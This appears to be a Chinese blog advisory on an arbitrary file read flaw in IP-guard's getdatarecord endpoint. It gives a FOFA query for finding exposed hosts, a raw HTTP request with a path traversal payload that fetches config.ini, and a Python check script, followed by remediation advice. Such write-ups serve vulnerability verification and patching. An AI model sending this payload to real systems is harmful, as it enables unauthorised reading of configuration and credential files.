• IP-guard getdatarecord 存在任意文件读取


    声明
    本文仅用于技术交流,请勿用于非法用途
    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

    一、产品介绍

    IP-guard是由溢信科技股份有限公司开发的一款终端安全管理软件,旨在帮助企业保护终端设备安全、数据安全、管理网络使用和简化IT系统管理。

    二、漏洞描述

    IP-guard 是一款常用于企业内部的数字版权管理和数据泄露防护系统。如果 IP-guard 的 getdatarecord 功能或接口存在任意文件读取漏洞,那么这将是一个严重的安全问题。攻击者可能会利用这个漏洞来读取系统中的敏感文件,包括但不限于配置文件、源代码、数据库连接信息等,从而进一步威胁到企业的信息安全。

    三、fofa语法

    app="IP-guard"

    四、漏洞复现

    数据包

    1. POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
    2. User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
    3. Accept-Encoding: gzip, deflate
    4. Accept: */*
    5. Connection: close
    6. Host:
    7. Content-Length: 64
    8. Content-Type: application/x-www-form-urlencoded
    9. path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

     

    五、python检测脚本

    1. import requests
    2. def verify(ip):
    3. url = f'{ip}/ipg/appr/MApplyList/downloadFile_client/getdatarecord'
    4. header = {
    5. 'User-Agent':'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)',
    6. 'Accept-Encoding': 'gzip, deflate',
    7. 'Accept': '*/*',
    8. 'Connection': 'close',
    9. 'Content-Length': '64',
    10. 'Content-Type': 'application/x-www-form-urlencoded',
    11. }
    12. payload = "path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A"
    13. try:
    14. response = requests.post(url, headers=header, data=payload)
    15. # 验证成功输出相关信息
    16. if response.status_code == 200 and '[webconfig]' in response.text:
    17. print('IP-guard getdatarecord 存在任意文件下载漏洞,请尽快修复漏洞!!!')
    18. except Exception as e:
    19. pass
    20. if __name__ == '__main__':
    21. self = input('请输入目标主机IP地址:')
    22. verify(self)

    六、修复建议

    1. 立即报告漏洞:如果你发现了 IP-guard 的 getdatarecord 功能存在任意文件读取漏洞,请立即报告给 IP-guard 的官方支持团队或相关的安全机构。他们将会对漏洞进行评估并发布相应的安全更新。

    2. 更新和修补:检查并安装 IP-guard 的最新更新和补丁。确保你的系统已经应用了所有官方发布的安全修复。

    3. 访问控制:加强对 IP-guard 的访问控制,限制能够执行 getdatarecord 操作的用户或系统账户。确保只有经过授权的用户才能访问敏感数据。

    4. 最小权限原则:遵循最小权限原则,为不同的用户或系统账户分配最小的必要权限。避免使用具有过高权限的账户来执行日常任务。

    5. 输入验证和过滤:对 getdatarecord 功能的输入进行严格的验证和过滤,确保只有预期的、安全的请求能够被处理。

    6. 安全审计和监控:定期进行安全审计和监控,检查系统中是否存在异常行为或未经授权的访问。及时发现并应对潜在的安全威胁。

  • 相关阅读:
    ES kibana 创建索引快速脚本
    Spring Boot集成kafka的相关配置
    模拟可执行的四旋翼模型——在未知环境下运动规划应用研究(Matlab代码实现)
    uni-app 之 文字分两行显示超出用省略号表示
    JavaScript中获取对象属性的不同方法
    pulsar集群搭建_亲测成功
    Unity之Hololens如何升级MRTK内置shader支持URP
    idea maven helper处理冲突
    如何使用Git和GitHub进行版本控制
    Clion常用插件
  • 原文地址:https://blog.csdn.net/qq_56698744/article/details/138011361